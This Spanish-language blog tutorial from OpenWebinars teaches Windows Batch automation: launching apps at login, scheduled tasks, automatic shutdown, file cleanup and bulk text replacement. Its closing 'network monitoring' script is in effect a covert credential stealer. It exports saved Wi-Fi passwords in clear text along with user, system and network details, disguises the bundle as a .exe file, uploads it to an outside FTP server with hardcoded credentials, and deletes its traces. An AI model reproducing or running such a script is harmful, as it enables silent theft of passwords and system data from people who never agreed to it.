OpenWebinars

Redes y Sistemas

Automatización de procesos con Shell Script Batch

Descubre cómo utilizar Shell Script Batch para automatizar sistemas y aprovechar todas las ventajas que ofrece esta tecnología para ahorrar tiempo.

Jerson Martínez

Jerson Martínez

Experto DevOps

Lectura 8 minutos

Publicado el 4 de diciembre de 2020

Compartir

En tiempos modernos, ser productivo es relativo a estar ocupado haciendo cosas, sino de brindar soluciones al menor tiempo posible, donde las herramientas de automatización juegan un papel fundamental para estar en la cima y responder con la mayor calidad posible.

Shell Script Batch es una de las maneras más interesantes de hacer automatización de procesos, porque, así como en cualquier otro entorno, Windows nos provee formas de hacer que tus programas respondan a parámetros preconfigurados y no estén obligatoriamente vinculados a una respuesta del usuario final sino directamente a respuestas del mismo sistema o con el programa que pueda estar sincronizado.

Automatización de procesos para empresas

Piensa que una empresa está organizada en diferentes departamentos, cuyos equipos hacen que exista un flujo de comunicación entre sí para brindar un servicio, por supuesto, esta comunicación puede ser mejor o peor en dependencia de qué herramientas estén usando.

Automatización desde atención al cliente hasta gerencia, siempre que tengamos un ordenador, ya sea que tengas GNU/Linux, Mac o Windows, es posible automatizar ese proceso que comúnmente ejecutas manualmente y que hace que tus días sean aburridos en tu entorno laboral. Préndete de nuevas ideas, recupera ese fuego con el que iniciaste, ya sea en tus proyectos personales o en conjunto.

No es viable que en una empresa estén realizando tareas repetitivas manualmente y menos una que se orienta al mundo tecnológico. Hay que estar abiertos al cambio, así como las máquinas remplazan nuestra mano de obra en fábricas, de la misma manera hay que verlo positivamente en que el enfoque debe estar en resolver temas de automatización y no se de ser ese robot que sigue las instrucciones paso a paso y temer que por ser humano pueda equivocarse.

Uso común de herramientas en algunos departamentos:

  • Atención al cliente hasta RRHH y Reclutamiento, con herramientas de automatización como chatbots, generación de reportes, ejecución de agentes virtuales, manejo de CRM y manejar nómina de pagos.
  • TI y Desarrollo, manipulando mejor temas de seguridad, aprovisionamiento y pruebas.
Conviértete en SysAdmin
Domina las tecnologías más demandadas. Accede a cursos, talleres y laboratorios prácticos de Linux, VMware, Tomcat, IPv6 y más.
Comenzar gratis ahora

TI y Desarrollo de software

Por supuesto, en esta vía se está más orientada la automatización, pues el flujo es más controlable por el hecho que el medio hay ordenadores y una infraestructura de red.

En este apartado, se mostrarán ejemplos que suponen una frecuencia en el repertorio de acciones como TI o Desarrollador de software para solventar las tareas repetitivas y como no pretendo que te duermas aprendiendo solo teoría, te compartiré algunos scripts que he usado y que uso como Ingeniero DevOps.

Antes de todo, aclarar que los scripts Batch que se exponen a continuación, tienen un formato .bat.

Si te estás iniciando en esto, es probable que lo que veas a continuación te pueda parecer complejo, por eso, hemos preparado un artículo interesante sobre Shell Scripting en Sistemas Windows y puedas comprender mejor de que va todo esto.

Iniciar múltiples aplicaciones al arrancar el sistema

Inicio con el ejemplo más sencillo, pero que te liberará algunos minutos al empezar tu día. Siempre tenemos un kit de aplicaciones que es el que usualmente utilizamos para nuestras labores, como un chat interno, sistemas de ofimática, herramientas de análisis, editor de código, navegadores, etc., en dependencia de a qué te refieras.

@echo off
    title Abrir programas al iniciar el sistema operativo

    :: Inicia un directorio
    start %USERPROFILE%\Documents\

    :: Ejecuta tus navegadores: Chrome y Firefox.
    start chrome.exe && start firefox.exe

    :: Inicia un editor de código (Sublime Text)
    start subl

    :: Arranca ese documento de Excel que siempre estás actualizando.
    start "" "%USERPROFILE%\Documents\Análisis.xlsx"

    :: Iniciar el sitio o la plataforma que sueles correr, en este caso AWS.
    start chrome https://[id_iam].signin.aws.amazon.com/console
exit

Este script ejecutará todas estas instrucciones, ahora surge la siguiente incógnita ¿quién o qué cosa ejecuta al script?

Almacenas este script en la siguiente ruta:
C:\Users\Antonio\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup.

Todo ejecutable que esté dentro del directorio Startup, será ejecutado en cuanto se inicie sesión en el sistema. Esto también significa que cualquier otro fichero por lotes (Batch) que deses ejecutar simultáneamente a lado de otro, puede ser agregado en este directorio, se trata de una emulación de una tarea programada que ejecuta un script apenas inicias sesión.

Creación de tarea programada desde Shell Script Batch (Efecto dominó)

Este script tiene su gracia, puesto que crea un script para ser ejecutado desde una tarea programada y a su vez, la tarea programada es creada desde este mismo script. Ten en cuenta que con la automatización de procesos se trata de generar un efecto dominó donde una pieza escuche el evento de otra y habilite una nueva acción.

@echo off
    title Activación del OS

        :: Creando tarea programada
        MKDIR %HOMEPATH%\Desktop\ && CD %HOMEPATH%\Desktop\

        :: Creando el script PowerShell
        ECHO Import-Module "C:\ProgramData\Amazon\EC2-Windows\Launch\Module\Ec2Launch.psd1"> activate_windows.ps1
        ECHO Add-Routes>> activate.ps1
        ECHO Set-ActivationSettings>> activate.ps1
        ECHO slmgr /ato>> activate.ps1

        :: Creando tarea programada
        schtasks /create /tn Activate_OS /sc ONSTART /DELAY 0000:30 /RL HIGHEST /tr "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -file 'C:%HOMEPATH%\Desktop\activate.ps1'"
exit

Como puedes observar, se considera la ejecución de un módulo del agente de Amazon, donde se encuentra la licencia de Windows, la cuál será ejecutado cuando se arranque el sistema con privilegios elevados con el intérprete de PowerShell, si no estás familiarizado con esta última tecnología, no te preocupes, puedes tomar un break y aprovechar el curso de PowerShell para principiantes.

schtasks /create /tn Activate_OS /sc ONSTART /DELAY 0000:30 /RL HIGHEST /tr "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -file 'C:%HOMEPATH%\Desktop\activate.ps1'"

Si vienes del mundo GNU/Linux, podrás notar que el comando schtasks es como el crontab y por supuesto, si tienes curiosidad de cómo hacer este tipo de cosas y aventurarte en las tecnologías del software libre, te invito a tomar el curso de Shell Linux.

Automatizar apagado del sistema

Vamos ahora con una fácil, hace un tiempo, antes de la revolución del #HomeOffice que obligatoriamente se dio por el empujón que nos dio el Covid19, iba a la empresa donde laboraba y usualmente mis colegas y yo nos pasabamos de tiempo extra, así que, para terminar los deberes, me imponía que la máquina se apagara a una hora específica, esto puede ser contraproducente si tienes tareas en proceso, pero al menos es un impulso a acabar a tiempo.

Una instrucción fácil de comprender para apagar el ordenador por línea de comandos es:

shutdown -s -t 0

[-shutdown, -time] Apaga el ordenador y lo hace instantáneamente.

Checa ahora la siguiente instrucción:

schtasks /create /tn "shutdown" /sc daily /st 17:00 /tr "shutdown.exe /s /f /t 60 /c 'Apagando... '"

Esta instrucción crea la tarea programada, la habilita y entiende que a las 17:00 ejecutará la instrucción de consola y después de 1 minuto se apagará, además, imprimirá el mensaje de Apagando....

Remover ficheros con específica antigüedad

A mí me pasaba mucho, que el directorio downloads se me llenaba de ficheros que al tiempo solo se representan como basura y que no se eliminan en el momento porque creemos que lo reutilizaremos. Así que, con las instrucciones anteriores sobre cómo crear una tarea programada, puedes insertar esta nueva instrucción que precisamente elimina todos aquellos ficheros ejecutables .exe que han sido almacenados desde hace 2 semanas.

forfiles /p "%USERPROFILE%\Downloads\" /s /m *.exe /d -14 /c "cmd /c del @path"

Así como se han seleccionado los ficheros de tipo .exe, también pueden filtrar documentos, contenido multimedia, incluso pueden ser todos usando el comodín *.*.

Tareas que fastidian nuestra motivación en el trabajo

Estas tareas son precisamente las tareas repetitivas que hacen que la vida pierda el sentido, al principio de un trabajo así puede ser tranquilo, incluso fácil, pero luego fastidia. Créeme, a mí me pasó como desarollador web, hace un tiempo trabajaba diseñando páginas webs, unas 2 de producción diarias y una media de 20 cambios que pedían los clientes a diario, este trabajo es fácil, como pasar un ladrillo de un lado a otro, pero cuando no tienes tiempos de descanso, la espalda te comienza a doler y las cosas se vuelven aburridas precisamente por esa monotonía de que la cosa no cambia. Así que haz lo que hice para motivarme, comencé a programar tareas para automatizar procesos.

Ordena 1000 archivos y no mueras en el intento

Imagina que tienes que ordenar un repertorio de 1000 músicas, que tienen un nombre cómo: Artista - Nombre de música.mp3, haciendo un fichero .dat con el nombre del fichero .mp3, algo así: Artista - Nombre de música.dat y con el siguiente contenido:

Nombre del artista: Artista
Nombre de la música: Nombre de música

@echo off
    title Evitando matar la motivación
    pushd "%USERPROFILE%\Desktop\Músicas" || (El directorio no puede ser ubicado&Pause&exit /B 1)

    for /r %%a in (*.mp3) do (
        if exist "%%~dpna.dat" (
            :: No tenemos una opción
        ) else (
           for /f "tokens=1,*delims=-" %%b in ("%%~na") do (
               echo Nombre del artista: %%b
               echo Nombre de la música  :%%c
           )>"%%~dpna.txt"
        )
    )
exit

Luz al final del túnel

Hace poco tiempo, me tocó resolver un escenario interesante, que podría perfectamente tocarte y acá te muestro una solución.

Existe un directorio en C:\Files\ que, dentro de este, hay más de 500 directorios y en cada directorio está un archivo que hay que modificar, en la ruta: C:\Files\34r79un84\conf\log.conf desde el directorio 1 hasta más del 500, con un directorio con otro nombre C:\Files\fgs43nd22\conf\log.conf. Específicamente en el fichero log.conf remplazar la palabra Administrator por el nombre del directorio detrás de \conf, con el de los valores.

@echo off
   title Testing
    SETLOCAL ENABLEEXTENSIONS
        SETLOCAL DISABLEDELAYEDEXPANSION

           FOR /F "tokens=* USEBACKQ" %%F IN (`dir /ad /b`) DO (

                if exist %%F\config\logging.config (
                    echo The file has been found %%F\conf\log.conf
                    call :Arguments "Administrator" %%F %%F\conf\log.conf
                )
           )

           :Arguments
                if "%~1"=="" (
                    echo Finished
                ) else (
                    setlocal enableextensions disabledelayedexpansion

                    for /f "delims=" %%i in ('type "%~3" ^& break ^> "%~3" ') do (
                        set "line=%%i"
                        setlocal enabledelayedexpansion
                        >>"%~3" echo(!line:%~1=%~2!
                        endlocal
                    )
                    endlocal
                )

Te continuaré la historia, resulta que me dieron 1 día para poder finalizar con todos esos ficheros, sabía que si lo hacía manualmente sería un día muy, pero muy ajetreado, así que me dispuse a escribir ese algoritmo, eso sí, me tomó más o menos 2 horas con 30 minutos resolverlo, pues estuve simulando el escenario y el tiempo de pruebas es considerable. Claramente, el tiempo invertido en la elaboración fue lo mejor que me pasó en el día, me divertí mucho y luego de un doble clic al Batch, el trabajo se terminaría en 10 segundos.

Monitorización de red

Debo reconocer que este es un algoritmo con cierta complejidad, aunque estoy asimilando que ya te has repasado uno de los mejores artículos en todo internet acerca de la gestión entorno a los recursos de red en el sistema operativo, sino, con mucho gusto te muestro de primera mano los 20 comandos de red más importantes en Windows.

En este algoritmo nos la jugamos a lo grande, se necesita obtener la información de red de cada equipo interconectado en la infraestructura, también referido a aquellos ordenadores que se han conectado inalámbricamente, lo que dice es que obtiene hasta los perfiles de red de todos sus adaptadores de dónde se ha conectado y la configuración completa, incluída su contraseña.

Luego que se recopila toda la información, se salvará en un servidor FTP, donse se ocupará conectar y enviar los datos de forma automática. Este artículo es totalmente libre y de mi autoría, lo puedes encontrar aquí junto a otros scripts interesantes que te podrían salvar ayudar a darte una idea de cómo resolver ese sistema que te quita el sueño.

@echo off
    title Kriptsus / Side Master
    mode con cols=50 lines=1

    :: Se crea un directorio en archivos temporales, donde este directorio tiene el mismo nombre que el usuario en cuestión del sistema.
    mkdir "%tmp%/%username%"

    :: Se exporta la configuración actual de los perfiles de red con las claves sin codificar y las redes hospedadas.
    netsh wlan show all > "%tmp%/%username%/AllNetworks.txt"
    netsh wlan export hostednetworkprofile
    netsh wlan export profile folder=. key=clear

    :: Se leen los ficheros generados .xml y se concentra la información en ProfileNetworks.txt
    type *.xml > "%tmp%/%username%/ProfileNetworks.txt"

    :: Se eliminan los ficheros .xml para no dejar rastro.
    del *.xml

    :: Se obtiene información sobre los usuarios del sistema.
    net user > "%tmp%/%username%/UserProfiles.txt"
    net user "%username%" >> "%tmp%/%username%/UserProfiles.txt"

    :: Se obtiene información genérica sobre el sistema y configuración de red.
    systeminfo > "%tmp%/%username%/SystemInfo.txt"
    ipconfig /all > "%tmp%/%username%/IpConfigAll.txt"
    net config rdr > "%tmp%/%username%/NetConfigRdr.txt"

    :: Se vuelca la información de todos los .txt a un binario .exe
    type "%tmp%/%username%/" *.txt > "%tmp%/%username%/%username%.exe"

    :: Se crea un fichero con la configuración FTP donde incluyen las credenciales de acceso.
    :: Este es un punto clave, pues tiene las instrucciones de principio a fin de que se hará en el servidor FTP.
    echo open ftp.fulldevops.es> "%tmp%/%username%/Server.txt"
    echo fulldevops.es>> "%tmp%/%username%/Server.txt"
    echo MiContraseñaFTP>> "%tmp%/%username%/Server.txt"
    echo cd /prey>> "%tmp%/%username%/Server.txt"
    echo lcd "%tmp%/%username%">> "%tmp%/%username%/Server.txt"
    echo binary>> "%tmp%/%username%/Server.txt"
    echo send "%tmp%/%username%/%username%.exe">> "%tmp%/%username%/Server.txt"
    echo ascii>> "%tmp%/%username%/Server.txt"
    echo disconnect>> "%tmp%/%username%/Server.txt"
    echo bye>> "%tmp%/%username%/Server.txt"

    :: Se procede a ejecutar el fichero de configuración FTP con todas las instrucciones.
    FTP -v -i -s:"%tmp%/%username%/Server.txt"

    :: Luego que ha finalizado su ejecución, se espera 5 segundos para no dejar nada en el camino.
    ping -n 5 0.0.0.0 > nul

    :: Se remueve el directorio creado desde un principio en los archivos temporales. Con esto queda 0 rastro de que se ejecutó algo y las credenciales FTP no quedan expuestas.
    rmdir /S /Q "%tmp%/%username%"

exit

Esto lo ejecutas una sola vez y en el servidor FTP podrá comprobar que tiene un nuevo fichero con el nombre de la máquina donde se ejecutó y con la información relevante al sistema. Ese fichero .exe lo podrá abrir desde una consola, leyéndolo con el comando type o abriéndolo con un editor de código.

Asegura la infraestructura tecnológica de tu empresa con el menor esfuerzo
Cursos, talleres y laboratorios actualizados para que tus equipos dominen las últimas herramientas para gestionar servidores y aplicaciones.
Solicitar más información

Conclusión

Todo lo que veas que es repetitivo, es automatizable.

Parte del avance, es poder resolver problemas en el menor tiempo posible con la mayor calidad posible. Si tienes esto en mente, créeme que no se te pasará por la mente hacer las cosas manualmente a la primera, seguro te pasará como yo, intentarás crear algo que lo haga por tí y no te rendirás hasta dar con la tecla.

Sea que estés trabajando en tus propios proyectos o para una empresa, el trabajo colaborativo deja mucho aprendizaje y puedes encontrar la necesidad en cualquier espacio. No te cases con un sistema, toma aquel que te ayude a resolver el problema que se presenta y antecede al próximo, tu visión del juego mejorará muchísimo.

Los algoritmos sobran, siempre habrá una mejor estrategia, una idea que optimice un bloque de código ya optimizado. Espero haberte dejado con ganas de conocer más y que tengas un tiempo ameno de investigación.

Compartir este post

También te puede interesar